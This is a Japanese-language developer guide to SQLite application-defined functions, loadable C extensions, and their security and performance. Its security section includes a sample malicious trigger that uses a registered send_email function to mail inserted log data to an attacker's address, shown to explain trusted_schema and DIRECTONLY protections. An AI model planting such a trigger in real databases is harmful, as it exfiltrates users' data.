sqlite

サーバーアプリケーション向けSQLite

サーバープロセスからSQLiteを拡張する2つの方法（Pythonの例です。 Goでも zombiezen/go-sqlite または mattn/go-sqlite3 を使えば同じ概念を適用できます）：

1. アプリケーション定義関数 — 接続に呼び出し可能な関数を直接登録します。コンパイルも共有ライブラリも不要です。プロジェクト固有のロジック（スコアリング、変換、カスタム集約）に最適です。

2. ロード可能な拡張機能 — コンパイル済みのC共有ライブラリ（.so/.dll/ .dylib）を実行時に読み込みます。プロジェクト間で共有したり、他のユーザーに配布したりする再利用可能なプラグインに最適です。拡張機能では、関数、仮想テーブル、照合順序、VFSの実装を登録できます。

どちらの方法もSQLiteのクエリエンジン内で動作するため、カスタムロジックをインデックス、WHERE句、GROUP BY、ウィンドウフレームと組み合わせられます。

このスキルを使用する場面

• SQL内のカスタム変換が必要な場合 — ドメイン固有のスコアリング、テキストの正規化、ハッシュ化、単位変換、カスタムJSON抽出
• 独自のロジックに基づく計算列やインデックスが必要な場合（deterministic=True が必要です）
• SUM/AVG/COUNTを超えるカスタム集約が必要な場合 — 加重平均、移動中央値、HyperLogLogスケッチ
• サードパーティ製のSQLite拡張機能（spatialite、sqlite-vecなど）を読み込みたい場合
• 再利用可能なSQLiteプラグインを共有ライブラリとして構築したい場合
• サーバープロセスでSQLiteをアプリケーションデータベースとして使用している場合（使い捨てのスクリプトだけではない場合）

このスキルを使用しない場面

• 全文検索が必要な場合 → SQLite組み込みのFTS5拡張機能を使用してください（ただし、ここにある読み込み手順では、コンパイル時に有効化されていない場合の有効化方法を説明しています）
• ベクトル類似度が必要な場合 → sqlite-vecを使用してください（読み込み手順に従って拡張機能として読み込みます）
• データベースがPostgreSQL/MySQLの場合 → 代わりにネイティブのUDFまたはストアドプロシージャを使用してください

---

パート1：アプリケーション定義関数

クエリ実行中にSQLiteが呼び出すPythonの呼び出し可能な関数を登録します。Cコードも共有ライブラリも不要で、接続ごとに関数を登録するだけです。

関数の種類

種類	呼び出されるタイミング	戻り値	用途
スカラー	行ごとに1回	単一の値	変換、解析、ハッシュ化
集約	行ごとに step()、最後に1回 finalize()	単一の値	カスタム集約、スケッチ
ウィンドウ	step()/inverse()/value()/finalize()	行ごとの値	実行統計、移動平均

3種類すべて接続ごとに登録されます。データベースを開くたびに再登録する必要があります。

Python：標準ライブラリの sqlite3

スカラー関数

import sqlite3
import hashlib
import json

conn = sqlite3.connect("app.db")

# Basic scalar: normalize whitespace
def normalize_ws(text: str | None) -> str | None:
    if text is None:
        return None
    return " ".join(text.split())

conn.create_function("normalize_ws", 1, normalize_ws, deterministic=True)

# Use it in queries
conn.execute("""
    SELECT normalize_ws(name) FROM users WHERE normalize_ws(name) LIKE ?
""", ("%john doe%",))

# Scalar with multiple args: extract nested JSON key
def json_dig(blob: str | None, *keys: str) -> str | None:
    if blob is None:
        return None
    try:
        obj = json.loads(blob)
        for key in keys:
            if isinstance(obj, dict):
                obj = obj.get(key)
            elif isinstance(obj, list) and key.isdigit():
                obj = obj[int(key)]
            else:
                return None
        return json.dumps(obj) if isinstance(obj, (dict, list)) else str(obj)
    except (json.JSONDecodeError, IndexError, TypeError):
        return None

# nArg=-1 means variadic
conn.create_function("json_dig", -1, json_dig, deterministic=True)

conn.execute("SELECT json_dig(metadata, 'address', 'city') FROM users")

create_function の主なパラメーター：

パラメーター	意味
name	SQL関数名（大文字と小文字を区別しません。UTF-8で最大255バイト）
narg	想定される引数の数。-1 = 可変長。
func	Pythonの呼び出し可能な関数
deterministic	True の場合、SQLiteは結果をキャッシュし、関数をインデックスで使用することがあります。純粋関数には必ず設定してください。

集約関数

step() メソッドと finalize() メソッドを持つサブクラスを作成します。

class WeightedAvg:
    """Weighted average aggregate: weighted_avg(value, weight)"""

    def __init__(self):
        self.numerator = 0.0
        self.denominator = 0.0

    def step(self, value, weight):
        if value is None or weight is None:
            return
        self.numerator += value * weight
        self.denominator += weight

    def finalize(self):
        if self.denominator == 0:
            return None
        return self.numerator / self.denominator

conn.create_aggregate("weighted_avg", 2, WeightedAvg)

conn.execute("""
    SELECT category, weighted_avg(score, sample_weight)
    FROM reviews
    GROUP BY category
""")

step() が1回以上呼び出された場合、クエリが中断されても finalize() は必ず1回だけ呼び出されることをSQLiteが保証します。finalize() 内ですべてのリソースをクリーンアップしてください。

ウィンドウ関数（Python 3.11+）

class RunningMedian:
    """Window function: running median over the window frame."""

    def __init__(self):
        self.values = []

    def step(self, value):
        if value is not None:
            self.values.append(value)

    def inverse(self, value):
        """Called when a row leaves the window frame."""
        if value is not None:
            self.values.remove(value)

    def value(self):
        """Current window value — called after each step/inverse."""
        if not self.values:
            return None
        s = sorted(self.values)
        n = len(s)
        if n % 2 == 1:
            return s[n // 2]
        return (s[n // 2 - 1] + s[n // 2]) / 2

    def finalize(self):
        return self.value()

conn.create_window_function("running_median", 1, RunningMedian)

conn.execute("""
    SELECT ts, price,
           running_median(price) OVER (
               ORDER BY ts ROWS BETWEEN 4 PRECEDING AND CURRENT ROW
           ) AS median_5
    FROM trades
""")

ウィンドウ関数には、step、inverse、value、finalize の4つのメソッドが必要です。ウィンドウ評価を効率化するのは inverse メソッドです。SQLite は最初から再計算する代わりに、1行を追加して（step）、1行を削除する（inverse）ことでフレームを前に進めます。

登録ヘルパーのパターン

すべての関数を1か所で登録すれば、すべての接続で利用できます。

def register_app_functions(conn: sqlite3.Connection) -> None:
    """Register all application-defined functions on a connection."""
    conn.create_function("normalize_ws", 1, normalize_ws, deterministic=True)
    conn.create_function("json_dig", -1, json_dig, deterministic=True)
    conn.create_aggregate("weighted_avg", 2, WeightedAvg)
    # ...add more here

# Use it everywhere you open a connection
conn = sqlite3.connect("app.db")
register_app_functions(conn)

deterministic フラグ

同じ入力に対して常に同じ出力を返す関数には、決定的としてマークします。これは非常に重要です。次の機能が有効になります。

1. 式インデックス — 決定的な関数でなければ、CREATE INDEX idx ON t(my_func(col)) は使用できません。
2. 生成列 — col_norm TEXT GENERATED ALWAYS AS (normalize_ws(col)) には決定性が必要です。
3. クエリ最適化 — 同じ引数が渡された場合、SQLite は関数を1度だけ評価し、その結果を再利用することがあります。
4. 部分インデックス — CREATE INDEX idx ON t(col) WHERE my_func(col) > 0。

次の関数は決定的としてマークしないでください。

• 時刻を読み取る、ランダムな値を生成する、またはロケールに依存する関数
• 外部サービスを呼び出す、または変更可能な状態を読み取る関数
• 接続ごとに同じ入力に対して異なる値を返す関数

誤って決定的とマークした関数は、インデックスを気付かれないまま破損させます。読み取り時に、インデックスのエントリーが再計算された値と一致しなくなります。

NULL の処理

SQLite は NULL を通常の値として渡します。関数では明示的に処理する必要があります。NULL 引数に対しては、ほとんどの場合 NULL の結果を返す必要があります（SQL 標準の NULL 伝播セマンティクス）。

def my_func(x):
    if x is None:
        return None
    return x * 2

NULL を正しく処理しないと、次の問題が発生します。

• None に対してメソッドを呼び出したときに、Python で TypeError が発生する
• NULL が伝播するべきなのに伝播しない場合に、クエリ結果が誤る

型アフィニティ

SQLite は動的型付けです。INTEGER と宣言された列にテキストを格納することもできます。関数には呼び出し元が渡した型の値が渡されます。安全を考慮して処理してください。

def safe_multiply(a, b):
    if a is None or b is None:
        return None
    try:
        return float(a) * float(b)
    except (ValueError, TypeError):
        return None

よくあるパターン

あいまいテキストマッチング

from difflib import SequenceMatcher

def similarity(a, b):
    if a is None or b is None:
        return None
    return SequenceMatcher(None, a.lower(), b.lower()).ratio()

conn.create_function("similarity", 2, similarity, deterministic=True)

# Find near-matches
conn.execute("""
    SELECT name, similarity(name, ?) AS score
    FROM products
    WHERE score > 0.6
    ORDER BY score DESC
    LIMIT 10
""", ("wireless headphones",))

ドメインスコアリング

def lead_score(revenue, recency_days, engagement):
    if any(v is None for v in (revenue, recency_days, engagement)):
        return None
    score = 0.0
    score += min(revenue / 10000, 1.0) * 40      # revenue: up to 40 pts
    score += max(1 - recency_days / 365, 0) * 30  # recency: up to 30 pts
    score += min(engagement / 100, 1.0) * 30       # engagement: up to 30 pts
    return round(score, 2)

conn.create_function("lead_score", 3, lead_score, deterministic=True)

# Use in queries, views, even indexes
conn.execute("""
    CREATE INDEX idx_hot_leads
    ON leads(lead_score(revenue, recency_days, engagement))
    WHERE lead_score(revenue, recency_days, engagement) > 70
""")

エポック／タイムスタンプ変換

from datetime import datetime, timezone

def epoch_to_iso(epoch_secs):
    if epoch_secs is None:
        return None
    return datetime.fromtimestamp(epoch_secs, tz=timezone.utc).isoformat()

def iso_to_epoch(iso_str):
    if iso_str is None:
        return None
    return int(datetime.fromisoformat(iso_str).timestamp())

conn.create_function("epoch_to_iso", 1, epoch_to_iso, deterministic=True)
conn.create_function("iso_to_epoch", 1, iso_to_epoch, deterministic=True)

---

パート2：ロード可能な拡張機能

ロード可能な拡張機能は、SQLite が実行時に読み込むコンパイル済みの C 共有ライブラリです。再利用可能な SQLite プラグインを配布するための仕組みであり、空間インデックス（SpatiaLite）からベクトル検索（sqlite-vec）まで、さまざまな機能がロード可能な拡張機能として提供されています。

サーバープロセスでは、拡張機能を自分で作成するよりも、ビルド済みのものを読み込むことがほとんどです。ただし、その仕組みを理解しておくと、読み込みの失敗をデバッグしたり、サードパーティ製拡張機能を評価したり、必要に応じて独自の拡張機能を作成したりするのに役立ちます。

Python から拡張機能を読み込む

import sqlite3

conn = sqlite3.connect("app.db")

# Extension loading is disabled by default — enable it first
conn.enable_load_extension(True)

# Load an extension (.so on Linux, .dylib on macOS, .dll on Windows)
# Omit the file extension — SQLite adds the platform-appropriate suffix
conn.load_extension("./spatialite")
# or with explicit entry point:
conn.load_extension("./my_extension", "sqlite3_myext_init")

# Disable loading after you're done (defense in depth)
conn.enable_load_extension(False)

# Now use the extension's functions/tables
conn.execute("SELECT InitSpatialMetaData()")

重要： conn.enable_load_extension(True) が有効にするのは、C API の経路（sqlite3_load_extension）だけです。SQL 関数の load_extension() は有効になりません。これは、SQL インジェクションによって任意の拡張機能が読み込まれるのを防ぐための意図的な仕様です。

拡張機能を使った接続初期化パターン

def init_connection(conn: sqlite3.Connection) -> None:
    """Initialize a connection with extensions and app functions."""
    # 1. Security defaults
    conn.execute("PRAGMA trusted_schema = OFF")

    # 2. Load extensions
    conn.enable_load_extension(True)
    conn.load_extension("./sqlite_vec")
    conn.load_extension("./spatialite")
    conn.enable_load_extension(False)

    # 3. Register app-defined functions
    conn.create_function("normalize_ws", 1, normalize_ws, deterministic=True)
    conn.create_aggregate("weighted_avg", 2, WeightedAvg)

C 拡張機能のビルド

複数のプロジェクトで読み込んだり配布したりする再利用可能なプラグインが必要な場合は、C で作成します。

最小限の拡張機能テンプレート

#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

/*
 * Scalar function: double(X) returns X * 2
 */
static void doubleFunc(
    sqlite3_context *ctx,
    int argc,
    sqlite3_value **argv
) {
    if (sqlite3_value_type(argv[0]) == SQLITE_NULL) {
        sqlite3_result_null(ctx);
        return;
    }
    double val = sqlite3_value_double(argv[0]);
    sqlite3_result_double(ctx, val * 2.0);
}

/*
 * Entry point — SQLite calls this when the extension is loaded.
 * Name convention: sqlite3_<extension>_init
 */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_mydemo_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);
    return sqlite3_create_function(
        db, "double", 1,
        SQLITE_UTF8 | SQLITE_DETERMINISTIC | SQLITE_INNOCUOUS,
        NULL, doubleFunc, NULL, NULL
    );
}

コンパイル

# Linux
gcc -g -fPIC -shared mydemo.c -o mydemo.so

# macOS
gcc -g -fPIC -dynamiclib mydemo.c -o mydemo.dylib

# Windows (MSVC)
cl mydemo.c -link -dll -out:mydemo.dll

# Windows (MinGW)
gcc -g -shared mydemo.c -o mydemo.dll

ビルド時の重要な点：

• sqlite3ext.h（sqlite3.h ではありません）をインクルードします。これにより、拡張機能 API のポインターテーブルが提供されます。
• 位置独立コードにするため、Linux/macOS では -fPIC を使用します。
• 読み込み時にファイル拡張子を省略します。SQLite がプラットフォームに適したサフィックスを自動的に追加します。

エントリーポイントの命名

SQLite はファイル名からエントリーポイントを自動的に検出します。

1. 最後の / と最初の . の間にあるファイル名を取り出します。
2. 小文字に変換し、先頭に lib があれば削除します。
3. エントリーポイントは sqlite3_<result>_init になります。

例：

• ./libmathfunc-4.8.so → sqlite3_mathfunc_init
• ./myext.so → sqlite3_myext_init
• ./path/to/demo.dll → sqlite3_demo_init

別のエントリーポイント名を使う場合は、load_extension() の第2引数として明示的に渡します。

拡張機能で登録できるもの

エントリーポイント関数は sqlite3 *db ハンドルを受け取り、これに対して任意の SQLite API を呼び出せます。

登録用の呼び出し	追加されるもの
sqlite3_create_function_v2()	スカラー関数／集約関数
sqlite3_create_window_function()	ウィンドウ関数
sqlite3_create_collation_v2()	照合順序
sqlite3_create_module_v2()	仮想テーブル
sqlite3_vfs_register()	カスタム VFS 実装
sqlite3_auto_extension()	今後の接続で自動登録

sqlite3_auto_extension による永続的な拡張機能

デフォルトでは、拡張機能は読み込んだ接続でのみ有効です。プロセス内の今後すべての接続で拡張機能を自動登録するには、次のようにします。

int sqlite3_mydemo_init(sqlite3 *db, char **pzErrMsg,
                        const sqlite3_api_routines *pApi) {
    SQLITE_EXTENSION_INIT2(pApi);

    /* Register for this connection */
    int rc = sqlite3_create_function(db, "double", 1,
        SQLITE_UTF8 | SQLITE_DETERMINISTIC, NULL, doubleFunc, NULL, NULL);
    if (rc != SQLITE_OK) return rc;

    /* Auto-register for all future connections */
    sqlite3_auto_extension((void(*)(void))sqlite3_mydemo_init);

    /* Tell SQLite to keep this extension in memory */
    return SQLITE_OK_LOAD_PERMANENTLY;
}

SQLITE_OK_LOAD_PERMANENTLY を指定すると、読み込み元の接続が閉じられた後も共有ライブラリが読み込まれたままになります。sqlite3_auto_extension により、プロセス内で新しい sqlite3_open() が呼び出されるたびに初期化関数が実行されます。

静的リンク

同じソースコードを動的リンクと静的リンクのどちらでも使用できます。アプリケーションにコンパイルして組み込む場合：

1. ビルドフラグに -DSQLITE_CORE を追加します。これにより、SQLITE_EXTENSION_INIT マクロは何もしなくなります
2. アプリケーションコードからエントリーポイントを直接呼び出します。

extern int sqlite3_mydemo_init(sqlite3*, char**, const sqlite3_api_routines*);

sqlite3 *db;
sqlite3_open("app.db", &db);
sqlite3_mydemo_init(db, NULL, NULL);  // pApi is unused with SQLITE_CORE

複数の拡張機能を静的リンクする場合は、シンボルの競合を避けるため、異なるエントリーポイント名を使用してください。

主な拡張機能

読み込む可能性の高い拡張機能：

拡張機能	目的	読み込み名
sqlite-vec	ベクトル類似検索	sqlite_vec
SpatiaLite	地理空間クエリ（PostGIS に似た機能）	mod_spatialite
sqlean	標準ライブラリ風のコレクション（数学、テキスト、暗号、正規表現）	モジュールごとに異なる
sqlite-lines	ファイル／テキストの行単位処理	lines
sqlite-http	SQL からの HTTP リクエスト	http
FTS5	全文検索（組み込みの場合が多く、別途用意される場合もあります）	fts5
compress	zlib による圧縮／展開	compress

---

セキュリティ

アプリ関数と読み込み可能な拡張機能の両方に適用されるセキュリティ上の考慮事項です。

信頼されたスキーマ

SQLite がデータベースファイルを開くと、スキーマ（ビュー、トリガー、生成列、式インデックス、CHECK 制約）がファイルから読み込まれます。データベースが信頼できないソースから取得された場合、悪意のあるスキーマによって関数が予期しない方法で呼び出される可能性があります。

攻撃例： send_email(to, body) 関数を登録したとします。攻撃者が次のトリガーを含むデータベースを作成します。 CREATE TRIGGER t AFTER INSERT ON log BEGIN SELECT send_email('[email protected]', new.data); END;。 これにより、log への INSERT のたびに攻撃者へデータがメール送信されます。

対策：すべての接続で trusted schemas を無効にします。

conn.execute("PRAGMA trusted_schema = OFF")

trusted_schema = OFF にすると、スキーマで定義された SQL から実行できるのは SQLITE_INNOCUOUS としてマークされた関数のみになります。カスタム関数はデフォルトで対象外です。

DIRECTONLY と INNOCUOUS

フラグ	効果	使用する場面
DIRECTONLY	ビュー、トリガー、生成列、式インデックスから実行できません	副作用のある関数（send_email、write_file、HTTP 呼び出し）
INNOCUOUS	trusted_schema = OFF でも、スキーマで定義された SQL で明示的に許可されます	敵対的なコンテキストでの安全性を監査済みの、純粋なヘルパー関数
(どちらも指定しない)	trusted_schema = OFF ではブロックされ、それ以外では許可されます	アプリ関数のデフォルト — PRAGMA が有効な場合は安全です

Python の sqlite3 では、DIRECTONLY フラグや INNOCUOUS フラグを直接指定できません — 保護には PRAGMA trusted_schema = OFF を使用してください。Go の zombiezen/go-sqlite では、FunctionImpl の DirectOnly: true を指定できます。

敵対的なスキーマコンテキストでの安全性を監査していない限り、カスタム関数に INNOCUOUS を指定しないでください。

拡張機能の読み込み制御

拡張機能の読み込みはデフォルトで無効です。有効にするには明示的な指定が必要です。 これはセキュリティ境界です。

• conn.enable_load_extension(True)（Python）は C API 経由の読み込みのみを有効にします。load_extension() SQL 関数は有効になりません。SQL インジェクションを受けた攻撃者でも、任意の拡張機能を読み込むことはできません。
• 拡張機能を読み込んだ後、conn.enable_load_extension(False) を呼び出してゲートを再びロックしてください。
• コンパイル時に拡張機能の読み込みを無効にするには、-DSQLITE_OMIT_LOAD_EXTENSION を指定します。

セキュリティチェックリスト

• すべての接続で PRAGMA trusted_schema = OFF を指定する
• 拡張機能を読み込んだ後、拡張機能の読み込みを無効にする
• 副作用のある関数を trusted_schema=OFF で保護する
• セキュリティレビューなしに INNOCUOUS を指定した関数がない
• 関数が NULL 入力を適切に処理する（NULL を返し、クラッシュしない）
• 関数がエラー時にメモリやファイルハンドルをリークしない

---

パフォーマンス

アプリ関数と拡張機能関数の両方に適用されます。

1. I/O をしない — 関数内でファイルを読み込んだり、API を呼び出したり、ネットワークにアクセスしたりしないでください。結果を事前に計算して保存します。
2. 頻繁に実行される処理でメモリを確保しない — 可能な場合はバッファーを再利用します。
3. 呼び出しごとの正規表現のコンパイルを避ける — 一度だけコンパイルし、クロージャーに保持します。

import re
_PATTERN = re.compile(r"\b\d{3}-\d{2}-\d{4}\b")

def contains_ssn(text):
    if text is None:
        return None
    return 1 if _PATTERN.search(text) else 0

conn.create_function("contains_ssn", 1, contains_ssn, deterministic=True)

4. インデックス列には決定的関数を使う — WHERE my_func(col) = X で頻繁に絞り込む場合は、式インデックスを作成します。関数はクエリごとではなく、INSERT/UPDATE 時に一度実行されます。

---

注意点

1. 新しい接続での再登録を忘れる。 関数と拡張機能は接続ごとに登録されます（sqlite3_auto_extension を使用する場合を除く）。接続プールの初期化フックで登録してください。

2. 非決定的な関数を決定的として登録する。 これは式インデックスと生成列を気付かないうちに破損させます。インデックスには古い値が格納され、クエリでは新しい値が参照されます。

3. NULL を無視する。 NULL 入力で関数がクラッシュすると、その列に NULL 値を含むすべてのクエリが失敗します。

4. 行ごとに重い計算を行う。 SELECT ... FROM million_row_table で呼び出される関数は、100 万回実行されます。プロファイリングしてください。

5. オプティマイザーが使う関数で副作用を起こす。 SQLite は、想定より多く、または少なく関数を呼び出す場合があります。呼び出し回数に依存しないでください。

6. 拡張機能の読み込み時にアーキテクチャが一致しない。 x86_64 向けにコンパイルされた .so は ARM プロセスでは読み込めません。macOS では、-arch arm64 または -arch x86_64 を明示的に指定する必要がある場合があります。

7. 拡張機能の読み込みを無効にし忘れる。 enable_load_extension(True) を有効にしたままにして攻撃者に SQL インジェクションを許すと、SQL から load_extension() を呼び出すことはできません（Python では C API 経由の読み込みのみが有効になるため）が、多層防御としてロックしてください。

依存関係

Python： 標準ライブラリの sqlite3（CPython に同梱）。ウィンドウ関数には Python 3.11 以降が必要です。

Go： zombiezen.com/go/sqlite（CGo 不使用）または github.com/mattn/go-sqlite3 （CGo 使用）。どちらもアプリケーション関数と拡張機能の読み込みに対応しています。API は実行時に確認してください。

C 拡張機能： C コンパイラー（gcc、clang、MSVC）と sqlite3ext.h（SQLite の amalgamation に同梱）。